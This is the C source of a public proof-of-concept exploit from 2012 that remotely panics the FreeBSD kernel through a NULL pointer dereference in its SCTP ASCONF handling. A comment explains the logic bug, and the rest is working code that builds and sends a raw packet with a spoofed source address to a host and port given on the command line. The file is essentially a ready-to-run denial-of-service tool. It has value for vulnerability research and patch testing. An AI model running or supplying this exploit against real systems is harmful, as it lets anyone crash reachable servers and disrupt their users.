/*
 * FreeBSD kernel SCTP (latest release) remote NULL ptr dereference DoS
 * 
 * by Shaun Colley <scolley@ioactive.com>, 2 Aug 2012 
 *
 * The SCTP implementation used by FreeBSD ("reference implementation") is vulnerable to a remote 
 * NULL pointer dereference in kernel due to a logic bug. When parsing ASCONF chunks, an attempt is
 * made to find an association by address. if the address found is INADDR_ANY, sctp_findassoc_by_vtag()
 * is called and an attempt is made to find an association by vtag. Before searching for the vtag in a 
 * hash table, a pointer is set to NULL, with the intention of redefining it after finding the association. 
 * However, if the specified vtag is not found, the function returns and the ptr is never reinitialised, 
 * causing a kernel panic when the NULL pointer is later dereferenced by the SCTP_INP_DECR_REF macro when 
 * flow returns to sctp_process_control(). 
 *  
 * i.e.
 *
 *         static struct sctp_tcb *
 *             sctp_findassoc_by_vtag(struct sockaddr *from, uint32_t vtag,
 *                    struct sctp_inpcb **inp_p, struct sctp_nets **netp, uint16_t rport,
 *                     uint16_t lport, int skip_src_check)
 *            
 *	     {
 *           
 *	     [ ... ]
 *
 *          *netp = NULL;
 *            *inp_p = NULL;
 *     
 *           [ ... ]
 *
 *           head = &sctppcbinfo.sctp_asochash[SCTP_PCBHASH_ASOC(vtag,
 *			 1690             sctppcbinfo.hashasocmark)];
 *           if (head == NULL) {
 *	            // invalid vtag 
 *	            SCTP_INP_INFO_RUNLOCK();
 *	            return (NULL);
 *	    }
 *
 * The page fault is a write AV at 0x0 + 0x33c but since there is no associated user context, this
 * doesn't appear to be exploitable (i.e. by mapping the NULL page)
 *
 * Tested against FreebSD 8.2-RELEASE but latest release is also vulnerable. The target system must have an open
 * SCTP port
 *
 */

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <fcntl.h> 
#include <netinet/ip.h> 
#include <netdb.h>
#include <string.h>

/* sctp checksum implementation, basically ripped from wireshark */
#define SP_LEN 2
#define DP_LEN 2
#define VTAG_LEN 4
#define CHK_LEN 4
#define HEADER_LEN    (SP_LEN + DP_LEN + VTAG_LEN + CHK_LEN)
#define CRC32C(c, d) (c = (c >> 8) ^ crc_c[(c ^(d)) & 0xFF])

/* SCTP chunk types */
#define SCTP_AUTH       0x0f
#define SCTP_ASCONF 	0xc1

static int crc_c[256] = {
	0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L,
	0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL,
	0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL,
	0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L,
	0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL,
	0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L,
	0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L,
	0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL,
	0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL,
	0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L,
	0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L,
	0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL,
	0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L,
	0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL,
	0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL,
	0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L,
	0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L,
	0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L,
	0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L,
	0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L,
	0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L,
	0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L,
	0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L,
	0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L,
	0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L,
	0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L,
	0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L,
	0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L,
	0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L,
	0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L,
	0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L,
	0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L,
	0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL,
	0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L,
	0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L,
	0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL,
	0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L,
	0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL,
	0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL,
	0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L,
	0xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L,
	0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL,
	0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL,
	0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L,
	0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL,
	0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L,
	0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L,
	0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL,
	0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L,
	0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL,
	0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL,
	0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L,
	0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL,
	0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L,
	0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L,
	0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL,
	0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL,
	0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L,
	0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L,
	0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL,
	0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L,
	0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL,
	0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL,
	0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L,
};

static unsigned int sctp_crc32c(const unsigned char *buf, unsigned int len) {

	unsigned int i;
	unsigned int crc32 = ~0U;
	unsigned int r;
	unsigned char b0, b1, b2, b3;

	for(i = 0; i < SP_LEN + DP_LEN + VTAG_LEN; i++) 
		CRC32C(crc32, buf[i]);

	CRC32C(crc32, 0);
	CRC32C(crc32, 0);
	CRC32C(crc32, 0);
	CRC32C(crc32, 0);
	for (i = HEADER_LEN; i < len; i++)
		CRC32C(crc32, buf[i]);

	r = ~crc32;

	b0 = r & 0xff;
	b1 = (r >> 8) & 0xff;
	b2 = (r >> 16) & 0xff;
	b3 = (r >> 24) & 0xff;
	crc32 = ((b0 << 24) | (b1 << 16) | (b2 << 8) | b3);
	return crc32;
}


/* basic sctp header */
struct sctphdr {
	unsigned short sport;
	unsigned short dport;
	unsigned int vtag;
	unsigned csum;
};

/* sctp chunk header */
struct sctp_chunkhdr {
	unsigned char type;
	unsigned char flags;
	unsigned short length;
};

/* ASCONF chunk */
struct sctp_asconf_chunk {
    struct sctp_chunkhdr ch;
    unsigned int serial;
};

/* AUTH chunk */
struct sctp_auth_chunk {
    struct sctp_chunkhdr ch;
    unsigned short shared_key_id;
    unsigned short hmac_id;
    unsigned char hmac[0];
};

/* SCTP parameter header */
struct sctp_paramhdr {
	unsigned short type;
	unsigned short length;
};

/* ipv4 address parameter */
struct sctp_ipv4addr_param {
	struct sctp_paramhdr ph; 
	unsigned int addr;
};


/* standard crc32 IP checksum */
unsigned short checksum(unsigned short *addr, int len) {

	int nleft = len;
	unsigned int sum = 0;
	unsigned short *w = addr;
	unsigned short answer = 0;

	while(nleft > 1) {
		sum += *w++;
		nleft -= 2;
	}
	if(nleft == 1) {
		*(unsigned char *)(&answer) = *(unsigned char *)w;
		sum += answer;
	}

	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	answer = ~sum;
	return answer; 
}

int main(int argc, char *argv[]) {

	int sock = 0, ret = 0;
	int on = 1; /* for setsockopt() call */
	struct ip *iph = NULL;
	struct sctphdr *sctph = NULL;
	struct sctp_auth_chunk *auth_chunk = NULL;
	struct sctp_asconf_chunk *asconf_chunk = NULL;
        struct sctp_ipv4addr_param *ipv4_addr = NULL;

	char *crash = NULL;
	struct sockaddr_in sin;
	struct hostent *hp = NULL;

	printf("\n[*] freebsd sctp remote NULL ptr dereference\n\n");

	if(argc < 3) {
		printf("usage: %s <host> <port>\n\n", argv[0]);
		return -1;
	}

	sock = socket(AF_INET, SOCK_RAW, IPPROTO_SCTP);
	if(sock < 0) {
		printf("[*] error making socket!\n");
		return -1;
	}

	/* tell the kernel not to put any IP headers in */
	if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
		printf("[*] setsockopt() error\n");
		return -1;
	}

	hp = gethostbyname(argv[1]);
	if(!hp) {
		printf("[*] couldn't resolve %s\n\n", argv[1]);
		return -1;
	}

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(atoi(argv[2]));
	memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
	
	crash = malloc(20000);
	if(!crash) {
		printf("\n[*] couldn't allocate memory\n");
		return -1;
	}

	printf("[*] building crash packet..\n");

	memset(crash, 0x00, 20000);
	
	/* fill in IP header */
	iph = (struct ip *)crash;
	iph->ip_hl = 5;
  	iph->ip_v = 4;
  	iph->ip_tos = 0;
        iph->ip_len = 0; /* fill in later when we know... */
  	iph->ip_id = htons(1337);
  	iph->ip_off = 0;
  	iph->ip_ttl = 250;
  	iph->ip_p = 132; /* sctp */
  	iph->ip_sum = 0;

	iph->ip_src.s_addr = inet_addr("1.3.3.7");
  	iph->ip_dst.s_addr = sin.sin_addr.s_addr;

	/* fill in SCTP header */
	sctph = (void *)crash + sizeof(struct ip); 
	sctph->sport = htons(0x1234); 
	sctph->dport = htons(atoi(argv[2]));
	sctph->vtag = htonl(0x12345);  /* deliberately wrong */
	sctph->csum = 0;

	/* build AUTH chunk */
	auth_chunk = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr);
	auth_chunk->ch.type = SCTP_AUTH;
	auth_chunk->ch.length = htons(8 + sizeof(struct sctp_auth_chunk));
        auth_chunk->hmac_id = htons(0x1337);
        memset((void *)auth_chunk->hmac, 0x61, 8); 
    
        /* build ASCONF chunk */
        asconf_chunk = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8;
        asconf_chunk->ch.type = SCTP_ASCONF;
        asconf_chunk->ch.length = htons(sizeof(struct sctp_asconf_chunk) + sizeof(struct sctp_ipv4addr_param));
        asconf_chunk->serial = 0x41414141; /* whatever */
    
        ipv4_addr = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) 
                                                                        + 8 + sizeof(struct sctp_asconf_chunk);
	
	ipv4_addr->ph.length = htons(sizeof(struct sctp_ipv4addr_param));
        ipv4_addr->ph.type = htons(0x0005);
        ipv4_addr->addr = INADDR_ANY; /* this takes us down the bad code path */ 
    
        /* what's the length of the whole packet? */
        iph->ip_len = sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8 + sizeof(struct sctp_asconf_chunk) 
                                                                                              + sizeof(struct sctp_ipv4addr_param);
    
        /* calculate IP checksum */
	iph->ip_sum = checksum((unsigned short *)crash, iph->ip_len >> 1);

	/* calculate SCTP checksum */
	sctph->csum = htonl(sctp_crc32c((const unsigned char *)sctph, sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8 
                                                                                           + sizeof(struct sctp_asconf_chunk) 
                                                                                         + sizeof(struct sctp_ipv4addr_param)));

	printf("[*] sending packet..\n\n");

	/* send the bad packet */
	ret = sendto(sock, crash, iph->ip_len, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
	if(ret < 0) {
		printf("[*] error sending packet\n");
		return -1;
	}

	printf("[*] done, bad packet sent!\n\n");

	free(crash);
	close(sock);

	return 0;

}